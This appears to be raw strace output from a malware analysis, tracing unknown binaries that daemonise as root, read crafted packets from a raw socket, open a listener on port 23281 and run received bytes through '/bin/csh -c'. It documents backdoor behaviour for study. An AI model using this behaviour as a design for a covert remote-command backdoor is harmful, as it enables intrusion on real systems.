[pid 949] open("/bin/csh", O_RDONLY) = 3
[pid 949] lseek(3, 0, SEEK_CUR) = 0
[pid 949] read(3, "#!/bin/sh\necho \"I was called wit"..., 80) = 73
[pid 949] lseek(3, 0, SEEK_SET) = 0
[pid 949] fcntl(3, F_SETFD, FD_CLOEXEC) = 0
[pid 949] fcntl(3, F_GETFL) = 0 (flags O_RDONLY)
[pid 949] fstat(3, {st_mode=S_IFREG|0755, st_size=73, ...}) = 0
[pid 949] lseek(3, 0, SEEK_CUR) = 0
[pid 949] read(3, "#!/bin/sh\necho \"I was called wit"..., 73) = 73
[pid 949] brk(0x809f000) = 0x809f000
[pid 949] open("/tmp/csh.out", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 4
[pid 949] fcntl(1, F_GETFD) = 0
[pid 949] fcntl(1, F_DUPFD, 10) = 10
[pid 949] fcntl(1, F_GETFD) = 0
[pid 949] fcntl(10, F_SETFD, FD_CLOEXEC) = 0
[pid 949] dup2(4, 1) = 1
[pid 949] close(4) = 0
[pid 949] fstat(1, {st_mode=S_IFREG|0644, st_size=0, ...}) = 0
[pid 949] old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40138000
[pid 949] write(1, "I was called with -f -c \352\352\352\352\352\352\352\340"..., 202) = 202
[pid 949] dup2(10, 1) = 1
[pid 949] fcntl(10, F_GETFD) = 0x1 (flags FD_CLOEXEC)
[pid 949] close(10) = 0
[pid 949] write(1, "goodbye\n", 8) = 8
[pid 949] munmap(0x40138000, 4096) = 0
[pid 949] _exit(0) = ?
<... wait4 resumed> [WIFEXITED(s) && WEXITSTATUS(s) == 0], 0, NULL) = 949
rt_sigprocmask(SIG_BLOCK, [CHLD], [CHLD], 8) = 0
rt_sigprocmask(SIG_SETMASK, [CHLD], NULL, 8) = 0
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
--- SIGCHLD (Child exited) ---
wait4(-1, 0xbffff564, WNOHANG, NULL) = -1 ECHILD (No child processes)
sigreturn() = ? (mask now [])
rt_sigaction(SIGINT, {0x804b8c0, [], 0x4000000}, {0x805b6a0, [], 0x4000000}, 8) = 0
_exit(0) = ?
bash# strace -f reverse/the-binary3
execve("reverse/the-binary3", ["reverse/the-binary3"], [/* 25 vars */]) = 0
personality(PER_LINUX) = 0
geteuid() = 0
sigaction(SIGCHLD, {SIG_IGN}, {SIG_DFL}, 0x40037c68) = 0
setsid() = 951
sigaction(SIGCHLD, {SIG_IGN}, {SIG_IGN}, 0x80575a8) = 0
chdir("/") = 0
close(0) = 0
close(1) = 0
close(2) = 0
time(NULL) = 1021496277
socket(PF_INET, SOCK_RAW, 0xb /* IPPROTO_??? */) = 0
sigaction(SIGHUP, {SIG_IGN}, {SIG_DFL}, 0x40037c68) = 0
sigaction(SIGTERM, {SIG_IGN}, {SIG_DFL}, 0x40037c68) = 0
sigaction(SIGCHLD, {SIG_IGN}, {SIG_IGN}, 0x80575a8) = 0
sigaction(SIGCHLD, {SIG_IGN}, {SIG_IGN}, 0x80575a8) = 0
recv(0,
"E\20\0\311\0\362\0\0000\v\213&\177\0\0\1\177\0\0\1\2AB"...,
2048, 0) = 201
socket(PF_INET, SOCK_RAW, IPPROTO_RAW) = 1
brk(0) = 0x807eb98
brk(0x807ebb8) = 0x807ebb8
brk(0x807f000) = 0x807f000
open("/usr/share/locale/en_US/LC_MESSAGES", O_RDONLY) = -1 ENOENT (No such file or directory)
stat("/etc/locale/C/libc.cat", 0xbfffa2c8) = -1 ENOENT (No such file or directory)
stat("/usr/lib/locale/C/libc.cat", 0xbfffa2c8) = -1 ENOENT (No such file or directory)
stat("/usr/lib/locale/libc/C", 0xbfffa2c8) = -1 ENOENT (No such file or directory)
stat("/usr/share/locale/C/libc.cat", 0xbfffa2c8) = -1 ENOENT (No such file or directory)
stat("/usr/local/share/locale/C/libc.cat", 0xbfffa2c8) = -1 ENOENT (No such file or directory)
open("/etc/host.conf", O_RDONLY) = -1 ENOENT (No such file or directory)
gettimeofday({1021496280, 728308}, NULL) = 0
getpid() = 951
open("/etc/resolv.conf", O_RDONLY) = -1 ENOENT (No such file or directory)
uname({sys="Linux", node="hpspps3m.spain.hp.com", ...}) = 0
sigprocmask(SIG_BLOCK, [ALRM], []) = 0
sigaction(SIGALRM, {0x80556c4, [], 0}, {SIG_DFL}, 0x40037c68) = 0
time(NULL) = 1021496280
alarm(600) = 0
sigsuspend([] <unfinished ...>
--- SIGALRM (Alarm clock) ---
<... sigsuspend resumed> ) = -1 EINTR (Interrupted system call)
sigreturn() = ? (mask now [ALRM])
time(NULL) = 1021504084
sigaction(SIGALRM, {SIG_DFL}, NULL, 0x1e) = 0
alarm(0) = 0
sigprocmask(SIG_SETMASK, [], NULL) = 0
sigprocmask(SIG_BLOCK, [ALRM], []) = 0
sigaction(SIGALRM, {0x80556c4, [], 0}, {SIG_DFL}, 0x80575b0) = 0
time(NULL) = 1021504084
alarm(600) = 0
sigsuspend([] <unfinished ...>
bash# strace -f reverse/the-binary4
execve("reverse/the-binary4", ["reverse/the-binary4"], [/* 25 vars */]) = 0
personality(PER_LINUX) = 0
geteuid() = 0
sigaction(SIGCHLD, {SIG_IGN}, {SIG_DFL}, 0x40037c68) = 0
setsid() = 990
sigaction(SIGCHLD, {SIG_IGN}, {SIG_IGN}, 0x80575a8) = 0
chdir("/") = 0
close(0) = 0
close(1) = 0
close(2) = 0
time(NULL) = 1021504109
socket(PF_INET, SOCK_RAW, 0xb /* IPPROTO_??? */) = 0
sigaction(SIGHUP, {SIG_IGN}, {SIG_DFL}, 0x40037c68) = 0
sigaction(SIGTERM, {SIG_IGN}, {SIG_DFL}, 0x40037c68) = 0
sigaction(SIGCHLD, {SIG_IGN}, {SIG_IGN}, 0x80575a8) = 0
sigaction(SIGCHLD, {SIG_IGN}, {SIG_IGN}, 0x80575a8) = 0
recv(0,
"E\20\0\311\0\362\0\0000\v\213&\177\0\0\1\177\0\0\1\2AB"...,
2048, 0) = 201
socket(PF_INET, SOCK_RAW, IPPROTO_RAW) = 1
brk(0) = 0x807eb98
brk(0x807ebb8) = 0x807ebb8
brk(0x807f000) = 0x807f000
open("/usr/share/locale/en_US/LC_MESSAGES", O_RDONLY) = -1 ENOENT (No such file or directory)
stat("/etc/locale/C/libc.cat", 0xbfffa890) = -1 ENOENT (No such file or directory)
stat("/usr/lib/locale/C/libc.cat", 0xbfffa890) = -1 ENOENT (No such file or directory)
stat("/usr/lib/locale/libc/C", 0xbfffa890) = -1 ENOENT (No such file or directory)
stat("/usr/share/locale/C/libc.cat", 0xbfffa890) = -1 ENOENT (No such file or directory)
stat("/usr/local/share/locale/C/libc.cat", 0xbfffa890) = -1 ENOENT (No such file or directory)
open("/etc/host.conf", O_RDONLY) = -1 ENOENT (No such file or directory)
gettimeofday({1021504112, 728109}, NULL) = 0
getpid() = 990
open("/etc/resolv.conf", O_RDONLY) = -1 ENOENT (No such file or directory)
uname({sys="Linux", node="hpspps3m.spain.hp.com", ...}) = 0
sigprocmask(SIG_BLOCK, [ALRM], []) = 0
sigaction(SIGALRM, {0x80556c4, [], 0}, {SIG_DFL}, 0x40037c68) = 0
time(NULL) = 1021504112
alarm(600) = 0
sigsuspend([] <unfinished ...>
bash# strace -f reverse/the-binary5
execve("reverse/the-binary5", ["reverse/the-binary5"], [/* 25 vars */]) = 0
personality(PER_LINUX) = 0
geteuid() = 0
sigaction(SIGCHLD, {SIG_IGN}, {SIG_DFL}, 0x40037c68) = 0
setsid() = 995
sigaction(SIGCHLD, {SIG_IGN}, {SIG_IGN}, 0x80575a8) = 0
chdir("/") = 0
close(0) = 0
close(1) = 0
close(2) = 0
time(NULL) = 1021504144
socket(PF_INET, SOCK_RAW, 0xb /* IPPROTO_??? */) = 0
sigaction(SIGHUP, {SIG_IGN}, {SIG_DFL}, 0x40037c68) = 0
sigaction(SIGTERM, {SIG_IGN}, {SIG_DFL}, 0x40037c68) = 0
sigaction(SIGCHLD, {SIG_IGN}, {SIG_IGN}, 0x80575a8) = 0
sigaction(SIGCHLD, {SIG_IGN}, {SIG_IGN}, 0x80575a8) = 0
recv(0,
"E\20\0\311\0\362\0\0000\v\213&\177\0\0\1\177\0\0\1\2AB"...,
2048, 0) = 201
sigaction(SIGCHLD, {SIG_IGN}, {SIG_IGN}, 0x80575a8) = 0
setsid() = -1 EPERM (Operation not permitted)
sigaction(SIGCHLD, {SIG_IGN}, {SIG_IGN}, 0x80575a8) = 0
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 1
sigaction(SIGCHLD, {SIG_IGN}, {SIG_IGN}, 0x80575a8) = 0
sigaction(SIGCHLD, {SIG_IGN}, {SIG_IGN}, 0x80575a8) = 0
sigaction(SIGHUP, {SIG_IGN}, {SIG_IGN}, 0x80575a8) = 0
sigaction(SIGTERM, {SIG_IGN}, {SIG_IGN}, 0x80575a8) = 0
sigaction(SIGINT, {SIG_IGN}, {SIG_DFL}, 0x40037c68) = 0
setsockopt(1, SOL_SOCKET, SO_REUSEADDR, [1], 4) = 0
bind(1, {sin_family=AF_INET, sin_port=htons(23281), sin_addr=inet_addr("0.0.0.0")}}, 16) = 0
listen(1, 3) = 0
accept(1, {sin_family=AF_INET, sin_port=htons(1039), sin_addr=inet_addr("127.0.0.1")}}, [16]) = 2
recv(2, "id\r\n", 19, 0) = 4
send(2, "\377\373\1\0", 4, 0) = 4
close(2) = 0
_exit(1) = ?
bash# strace -f reverse/the-binary6
execve("reverse/the-binary6", ["reverse/the-binary6"], [/* 25 vars */]) = 0
personality(PER_LINUX) = 0
geteuid() = 0
sigaction(SIGCHLD, {SIG_IGN}, {SIG_DFL}, 0x40037c68) = 0
setsid() = 1004
sigaction(SIGCHLD, {SIG_IGN}, {SIG_IGN}, 0x80575a8) = 0
chdir("/") = 0
close(0) = 0
close(1) = 0
close(2) = 0
time(NULL) = 1021504244
socket(PF_INET, SOCK_RAW, 0xb /* IPPROTO_??? */) = 0
sigaction(SIGHUP, {SIG_IGN}, {SIG_DFL}, 0x40037c68) = 0
sigaction(SIGTERM, {SIG_IGN}, {SIG_DFL}, 0x40037c68) = 0
sigaction(SIGCHLD, {SIG_IGN}, {SIG_IGN}, 0x80575a8) = 0
sigaction(SIGCHLD, {SIG_IGN}, {SIG_IGN}, 0x80575a8) = 0
recv(0,
"E\20\0\311\0\362\0\0000\v\213&\177\0\0\1\177\0\0\1\2AB"...,
2048, 0) = 201
setsid() = -1 EPERM (Operation not permitted)
sigaction(SIGCHLD, {SIG_IGN}, {SIG_IGN}, 0x80575a8) = 0
sigaction(SIGINT, {SIG_IGN}, {SIG_DFL}, 0x40037c68) = 0
sigaction(SIGQUIT, {SIG_IGN}, {SIG_DFL}, 0x40037c68) = 0
sigprocmask(SIG_BLOCK, [CHLD], []) = 0
sigaction(SIGINT, {SIG_DFL}, NULL, 0x1d) = 0
sigaction(SIGQUIT, {SIG_DFL}, NULL, 0x1e) = 0
sigprocmask(SIG_SETMASK, [], NULL) = 0
execve("/bin/sh", ["sh", "-c", "/bin/csh -f -c \"\352\352\352\352\352\352\352\340\352\352"...], [/* 25 vars */]) = 0
brk(0) = 0x80994a0
old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40014000
open("/etc/ld.so.preload", O_RDONLY) = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY) = -1 ENOENT (No such file or directory)
open("/lib/i686/mmx/libtermcap.so.2", O_RDONLY) = -1 ENOENT (No such file or directory)
stat("/lib/i686/mmx", 0xbffff3a8) = -1 ENOENT (No such file or directory)
open("/lib/i686/libtermcap.so.2", O_RDONLY) = -1 ENOENT (No such file or directory)
stat("/lib/i686", 0xbffff3a8) = -1 ENOENT (No such file or directory)
open("/lib/mmx/libtermcap.so.2", O_RDONLY) = -1 ENOENT (No such file or directory)
stat("/lib/mmx", 0xbffff3a8) = -1 ENOENT (No such file or directory)
open("/lib/libtermcap.so.2", O_RDONLY) = 1
fstat(1, {st_mode=S_IFREG|0755, st_size=12224, ...}) = 0
read(1, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0000\16\0"..., 4096) = 4096
old_mmap(NULL, 15304, PROT_READ|PROT_EXEC, MAP_PRIVATE, 1, 0) = 0x40015000
mprotect(0x40018000, 3016, PROT_NONE) = 0
old_mmap(0x40018000, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 1, 0x2000) = 0x40018000
close(1) = 0
open("/lib/libc.so.6", O_RDONLY) = 1
fstat(1, {st_mode=S_IFREG|0755, st_size=4101324, ...}) = 0
read(1, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\210\212"..., 4096) = 4096
old_mmap(NULL, 1001564, PROT_READ|PROT_EXEC, MAP_PRIVATE, 1, 0) = 0x40019000
mprotect(0x40106000, 30812, PROT_NONE) = 0
old_mmap(0x40106000, 16384, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 1, 0xec000) = 0x40106000
old_mmap(0x4010a000, 14428, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x4010a000
close(1) = 0
mprotect(0x40019000, 970752, PROT_READ|PROT_WRITE) = 0
mprotect(0x40019000, 970752, PROT_READ|PROT_EXEC) = 0
personality(PER_LINUX) = 0
getpid() = 1004
getuid() = 0
getgid() = 0
geteuid() = 0
getegid() = 0
brk(0) = 0x80994a0
brk(0x80994c0) = 0x80994c0
brk(0x809a000) = 0x809a000
time(NULL) = 1021504250
rt_sigaction(SIGCHLD, {SIG_DFL}, {SIG_IGN}, 8) = 0
rt_sigaction(SIGCHLD, {SIG_IGN}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGINT, {SIG_DFL}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGINT, {SIG_DFL}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGQUIT, {SIG_DFL}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGQUIT, {SIG_DFL}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGHUP, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_IGN}, 8) = 0
rt_sigaction(SIGHUP, {SIG_IGN}, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, 8) = 0
rt_sigaction(SIGINT, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGILL, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGTRAP, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGABRT, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGFPE, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGBUS, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGSEGV, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGUNUSED, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGPIPE, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGALRM, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGTERM, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_IGN}, 8) = 0
rt_sigaction(SIGTERM, {SIG_IGN}, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, 8) = 0
rt_sigaction(SIGXCPU, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGXFSZ, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGVTALRM, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGPROF, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGUSR1, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGUSR2, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0
rt_sigprocmask(SIG_BLOCK, NULL, [], 8) = 0
rt_sigaction(SIGQUIT, {SIG_IGN}, {SIG_DFL}, 8) = 0
socket(PF_UNIX, SOCK_STREAM, 0) = 1
connect(1, {sin_family=AF_UNIX, path=" /var/run/.nscd_socket"}, 110) = -1 ECONNREFUSED (Connection refused)
close(1) = 0
open("/etc/nsswitch.conf", O_RDONLY) = -1 ENOENT (No such file or directory)
open("/lib/libnss_compat.so.2", O_RDONLY) = 1
fstat(1, {st_mode=S_IFREG|0755, st_size=219843, ...}) = 0
read(1, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0p\31\0\000"..., 4096) = 4096
old_mmap(NULL, 45036, PROT_READ|PROT_EXEC, MAP_PRIVATE, 1, 0) = 0x4010e000
mprotect(0x40118000, 4076, PROT_NONE) = 0
old_mmap(0x40118000, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 1, 0x9000) = 0x40118000
close(1) = 0
open("/lib/libnsl.so.1", O_RDONLY) = 1
fstat(1, {st_mode=S_IFREG|0755, st_size=370141, ...}) = 0
read(1, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\20?\0\000"..., 4096) = 4096
old_mmap(NULL, 88104, PROT_READ|PROT_EXEC, MAP_PRIVATE, 1, 0) = 0x40119000
mprotect(0x4012b000, 14376, PROT_NONE) = 0
old_mmap(0x4012b000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 1, 0x11000) = 0x4012b000
old_mmap(0x4012d000, 6184, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x4012d000
close(1) = 0
brk(0x809b000) = 0x809b000
open("/etc/nsswitch.conf", O_RDONLY) = -1 ENOENT (No such file or directory)
uname({sys="Linux", node="hpspps3m.spain.hp.com", ...}) = 0
open("/etc/passwd", O_RDONLY) = 1
fcntl(1, F_GETFD) = 0
fcntl(1, F_SETFD, FD_CLOEXEC) = 0
fstat64(0x1, 0xbffff560) = -1 ENOSYS (Function not implemented)
fstat(1, {st_mode=S_IFREG|0644, st_size=60, ...}) = 0
old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x4012f000
_llseek(1, 0, [0], SEEK_CUR) = 0
read(1, "root:x:0:0:root:/:/bin/bash\ntest"..., 4096) = 60
close(1) = 0
munmap(0x4012f000, 4096) = 0
uname({sys="Linux", node="hpspps3m.spain.hp.com", ...}) = 0
open("/lib/libnss_files.so.2", O_RDONLY) = 1
fstat(1, {st_mode=S_IFREG|0755, st_size=246652, ...}) = 0
read(1, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0p \0\000"..., 4096) = 4096
old_mmap(NULL, 36384, PROT_READ|PROT_EXEC, MAP_PRIVATE, 1, 0) = 0x4012f000
mprotect(0x40137000, 3616, PROT_NONE) = 0
old_mmap(0x40137000, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 1, 0x7000) = 0x40137000
close(1) = 0
brk(0x809c000) = 0x809c000
brk(0x809e000) = 0x809e000
getcwd("/",
4095) = 2
getpid() = 1004
getppid() = 1003
stat(".", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
stat("/usr/kerberos/bin/sh", 0xbffff6c0) = -1 ENOENT (No such file or directory)
stat("/usr/kerberos/bin/sh", 0xbffff6c0) = -1 ENOENT (No such file or directory)
stat("/sbin/sh", 0xbffff6c0) = -1 ENOENT (No such file or directory)
stat("/usr/sbin/sh", 0xbffff6c0) = -1 ENOENT (No such file or directory)
stat("/bin/sh", {st_mode=S_IFREG|0755, st_size=316848, ...}) = 0
getpgrp() = 1004
fcntl(-1, F_SETFD, FD_CLOEXEC) = -1 EBADF (Bad file descriptor)
rt_sigaction(SIGCHLD, {0x805c190, [], 0x4000000}, {SIG_IGN}, 8) = 0
brk(0x809f000) = 0x809f000
brk(0x80a0000) = 0x80a0000
rt_sigaction(SIGHUP, {SIG_IGN}, NULL, 8) = 0
rt_sigaction(SIGILL, {SIG_DFL}, NULL, 8) = 0
rt_sigaction(SIGTRAP, {SIG_DFL}, NULL, 8) = 0
rt_sigaction(SIGABRT, {SIG_DFL}, NULL, 8) = 0
rt_sigaction(SIGFPE, {SIG_DFL}, NULL, 8) = 0
rt_sigaction(SIGBUS, {SIG_DFL}, NULL, 8) = 0
rt_sigaction(SIGSEGV, {SIG_DFL}, NULL, 8) = 0
rt_sigaction(SIGUNUSED, {SIG_DFL}, NULL, 8) = 0
rt_sigaction(SIGPIPE, {SIG_DFL}, NULL, 8) = 0
rt_sigaction(SIGALRM, {SIG_DFL}, NULL, 8) = 0
rt_sigaction(SIGTERM, {SIG_IGN}, NULL, 8) = 0
rt_sigaction(SIGXCPU, {SIG_DFL}, NULL, 8) = 0
rt_sigaction(SIGXFSZ, {SIG_DFL}, NULL, 8) = 0
rt_sigaction(SIGVTALRM, {SIG_DFL}, NULL, 8) = 0
rt_sigaction(SIGPROF, {SIG_DFL}, NULL, 8) = 0
rt_sigaction(SIGUSR1, {SIG_DFL}, NULL, 8) = 0
rt_sigaction(SIGUSR2, {SIG_DFL}, NULL, 8) = 0
rt_sigaction(SIGINT, {SIG_DFL}, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, 8) = 0
rt_sigaction(SIGQUIT, {SIG_DFL}, {SIG_IGN}, 8) = 0
rt_sigaction(SIGCHLD, {SIG_IGN}, {0x805c190, [], 0x4000000}, 8) = 0
execve("/bin/csh", ["/bin/csh", "-f", "-c", "\352\352\352\352\352\352\352\340\352\352\352\352\352\352"...], [/* 25 vars */]) = 0
brk(0) = 0x80994a0
old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40014000
open("/etc/ld.so.preload", O_RDONLY) = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY) = -1 ENOENT (No such file or directory)
open("/lib/i686/mmx/libtermcap.so.2", O_RDONLY) = -1 ENOENT (No such file or directory)
stat("/lib/i686/mmx", 0xbffff398) = -1 ENOENT (No such file or directory)
open("/lib/i686/libtermcap.so.2", O_RDONLY) = -1 ENOENT (No such file or directory)
stat("/lib/i686", 0xbffff398) = -1 ENOENT (No such file or directory)
open("/lib/mmx/libtermcap.so.2", O_RDONLY) = -1 ENOENT (No such file or directory)
stat("/lib/mmx", 0xbffff398) = -1 ENOENT (No such file or directory)
open("/lib/libtermcap.so.2", O_RDONLY) = 1
fstat(1, {st_mode=S_IFREG|0755, st_size=12224, ...}) = 0
read(1, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0000\16\0"..., 4096) = 4096
old_mmap(NULL, 15304, PROT_READ|PROT_EXEC, MAP_PRIVATE, 1, 0) = 0x40015000
mprotect(0x40018000, 3016, PROT_NONE) = 0
old_mmap(0x40018000, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 1, 0x2000) = 0x40018000
close(1) = 0
open("/lib/libc.so.6", O_RDONLY) = 1
fstat(1, {st_mode=S_IFREG|0755, st_size=4101324, ...}) = 0
read(1, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\210\212"..., 4096) = 4096
old_mmap(NULL, 1001564, PROT_READ|PROT_EXEC, MAP_PRIVATE, 1, 0) = 0x40019000
mprotect(0x40106000, 30812, PROT_NONE) = 0
old_mmap(0x40106000, 16384, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 1, 0xec000) = 0x40106000
old_mmap(0x4010a000, 14428, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x4010a000
close(1) = 0
mprotect(0x40019000, 970752, PROT_READ|PROT_WRITE) = 0
mprotect(0x40019000, 970752, PROT_READ|PROT_EXEC) = 0
personality(PER_LINUX) = 0
getpid() = 1004
getuid() = 0
getgid() = 0
geteuid() = 0
getegid() = 0
brk(0) = 0x80994a0
brk(0x80994c0) = 0x80994c0
brk(0x809a000) = 0x809a000
time(NULL) = 1021504250
rt_sigaction(SIGCHLD, {SIG_DFL}, {SIG_IGN}, 8) = 0
rt_sigaction(SIGCHLD, {SIG_IGN}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGINT, {SIG_DFL}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGINT, {SIG_DFL}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGQUIT, {SIG_DFL}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGQUIT, {SIG_DFL}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGHUP, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_IGN}, 8) = 0
rt_sigaction(SIGHUP, {SIG_IGN}, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, 8) = 0
rt_sigaction(SIGINT, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGILL, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGTRAP, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGABRT, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGFPE, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGBUS, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0
